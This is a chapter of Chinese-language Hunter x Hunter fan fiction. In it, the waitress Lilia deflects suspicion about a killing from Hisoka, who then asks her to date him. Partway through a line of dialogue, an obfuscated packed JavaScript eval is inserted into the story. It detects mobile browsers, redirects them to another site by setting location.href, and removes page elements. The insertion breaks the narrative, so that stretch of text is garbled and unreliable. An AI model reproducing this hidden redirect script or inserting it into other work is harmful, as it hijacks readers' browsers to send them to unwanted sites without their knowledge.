玛丽也吓了一跳，但她在这里工作的时间比较久，这种事情也见过几次，所以在短暂惊吓后就冷静了下来，说：“他们肯定是得罪谁了吧，不然怎么会这样死掉？这种人死也活该。” “但这也太巧了。说不定警察会来找我们……” 萝丝沉吟着看向莉莉娅。 莉莉娅此时正站在收银台后清点零钱，她很敏锐地察觉到了她人投向自己的视线，看向萝丝，说：“怎么了？就算警察来，也和我们没关系。我们又没法这样杀人。” “我当然知道！”萝丝说着，突然蹿到莉莉娅身边，用手肘戳戳她，压低声音，带着试探和神秘兮兮的表情提醒她，“说不定是西索干的，就是为了给你出气！你说会不会是这样，莉莉娅？” 好想法。 但出气是不可能的。 于是，莉莉娅叹了口气，将零钱分门别类重新放回收银机，一边摇头否定：“不是。” 她的态度太斩钉截铁，以至于萝丝完全无法接受，她瞪大眼睛看向她，问：“为什么？你好相信他啊莉莉娅！” 莉莉娅有点想吐槽她的关注点，但最终，她只是看向玛丽，说：“玛丽知道。因为西索为了杀人合法要考猎人证，说明他还是挺在乎这些东西的。所以应该不会违法杀人。而且他要是真的这么为我好，那家伙来闹事的时候就该出现吧？” 玛丽点头。 “……这么说的话倒也是哎？” 萝丝完全被说服了。 其实莉莉娅知道，她只是像人图一时热闹一样，对她和西索一时脑热上头而已。 而这时候，被牵扯进她们对话的玛丽看向莉莉娅，问：“莉莉娅，今天心情不太好？” 莉莉娅：“为什么这么说？” 玛丽：“感觉？” “看来玛丽你也有不错的直觉呢。”莉莉娅笑着调侃了她一句，然后说，“因为我在上班路上正巧看到了这几个人的尸体。” …… 昨天西索给她带来的恼怒已经在今天早上看到那些人的尸体后消失殆尽了。 虽然他作弊了，但是他是个好人，帮她解决了难以解决的棘手事情，她感谢他，所以不会继续生他的气。 至于为什么心情不好…… 因为莉莉娅觉得这件事应该不会这么轻易地结束。 * 西索是第二天来的。 阳光透过甜品店的大玻璃窗，在木质地板上投下碎金般的光斑，昨日那场命案的阴霾仿佛也被冲淡了些许。空气中弥漫着淡淡的奶油香气和新鲜出炉的糕点味，像什么也没发生过似的。 这时候店里凶杀案的讨论没有那么激烈了，毕竟本质上和店里的大家关系不大，大多数人将它当成茶余饭后的谈资，很少有人会认真猜测凶手是谁。萝丝起初也曾有过怀疑，但听过莉莉娅的解释之后也放下了疑心。 不过为了保险起见，莉莉娅还是让西索去了楼上一个偏僻的座位。 然后，她才在同事们八卦的目光下托着蛋糕和饮品上了楼。 “在白天上班摸鱼不好。所以只能聊五分钟的。” 穿着绿色侍应生背带裙的金发少女将手中的托盘放在桌上，又将盘子里的东西一个个拿出放在桌上。 “嗯哼★~”西索的回应带着他惯有的慵懒上扬，视线饶有兴致地追随着她的每一个动作。 “莉莉娅觉得，” 他身体微微前倾，手肘支在桌面上，指尖轻轻点着桌面， “这是你想要的结果吗☆？” “差不多吧。人死债消。” 莉莉娅耸了耸肩，视线落在刚放下的抹茶蛋糕上，翠绿的色泽在阴影中显得有些深沉。她一直站在桌边，没有坐在西索对面。 因此，很难得的，高挑的红发男人居然要微微扬起下颌，仰起头看她了。 他仰视的姿态本该削弱气势，但那道目光却像实质般缠绕上来，带着审视和一丝玩味。不过他这样的人无论站着坐着都极具压迫感。 特别是他蓄意挑事的时候。 “这不是我想听到的答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684073|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案哦★？” 他的尾音虽然依旧上扬，可声音却低沉了一点。 是很明显地威胁。 “……” 莉莉娅沉默了。 实际上她觉得这已经差不多了。 但西索显然要的是那一瞬间的她的最本质的想法。 虽然她总说自己是普通人，但也要允许普通人有不善良的时刻。 所以，那一瞬间她最本质的想法是—— “那么，一条人命值多少钱？” “比他欠你的少哦★~” 莉莉娅：“那我亏了，这么让他们死了太轻松了。但也没办法。这是你想要的答案么？” 西索盯着她，撇了一下嘴角，突然转换了话题：“你还在生气吗，莉莉娅★？” “没有。其实我很感谢你。” “嗯？为什么★？” “当然是因为你帮我解决了一个大麻烦啊……所以作弊的事情我不会再说什么了。”莉莉娅叹了口气，“因为你最近和我关系太好了，所以有同事怀疑到你身上了，当然我觉得她们只是八卦而已，总之我帮你遮掩过去了，我觉得警察也不会查到你头上的。” “如果查到了呢☆？” “……” 莉莉娅有点想说你都有那样精巧的变牌技术了，难道连一点逃脱法律制裁的手段也没有么？而且天空竞技场的选手死亡率也不低，经常有人因为打擂台输了就私底下报复赢家，警察很容易就会把这种事件定义为仇杀，根本不会细查。 但她觉得他要的肯定不是这种答案。 于是她说：“如果实在瞒不过去，你就说是我杀的。” 她说着，拿起放在餐盘旁的铁质蛋糕叉，虚虚做出一个投掷的动作：“就当我也有那样的能力……可以吗？警察知道这种东西的存在吗？他们能检验吗？” 西索盯着她。 莉莉娅在他的目光下突然心虚起来了。 她突然意识到自己的动作似乎太孩子气了，于是心虚地咳嗽一声，把餐叉重新摆回了餐盘旁，还特意把装有蛋糕的瓷盘往西索面前推了推。 是抹茶蛋糕，他上次更青睐这个口味。 然而她的手还未来得及完全收回，就又一次被覆盖住了。 西索的手比她的大得多，手指上带着薄茧，瞬间包裹了她的手。 力气并不大。没像以前似的捏挤两下。 然而他却什么话也不说，就用那样古怪的目光看着她。 莉莉娅被他看得头皮发麻，下意识尝试抽出手，失败了。 她深吸一口气，说：“……你还要干什么？还有那个我欠你的要求，你想好了吗？” “要求★？” 西索重复了一遍她的话。 “对啊，要求。你提完要求我们就两不相欠了。” 莉莉娅歪了歪头。 本来她做好西索敷衍了事继续拖延的打算，可话还没说完，就被他打断了。 “我还没有对你失去兴趣哦★。” 他看着她，提醒她。 “什么意思？” 她其实明白他的意思。 就是即便这个要求提出了，她完成了，只要西索不愿意，她仍然不能和他‘两不相欠’。 可她还是忍不住问了。 如果他说出什么很讨厌的话，她或许会生气，应该会生气的。 但西索没回答，而是换了个话题，重新回到了‘要求’之上。 “嗯~这样吧，这样吧，其实我本来已经有些无聊了。但刚刚，莉莉娅，我想到一个更好玩的游戏★。” 握住她手的男人饶有兴致地盯着她，他的声音陡然拔高，带着一种压抑不住的兴奋，他单手撑着下巴，另一只手却牢牢攥着莉莉娅的手，捏捏她柔软的手，指腹带着一种研究般的兴趣，从掌心摩挲到手指，又用他的指尖在她手掌心缓慢而刻意地打圈，一副完全沉浸在某种突发奇想中兴奋起来的样子。 “……什么意思？” “我的意思是，我和你——交往☆。” 他说到最后几个字时，语气突然轻快，像在开玩笑似的，可与此同时，他又收回握着莉莉娅的手，伸出两只食指勾在一起，而后很快松开，笑着说：“这就是我的要求哦，莉莉娅☆。”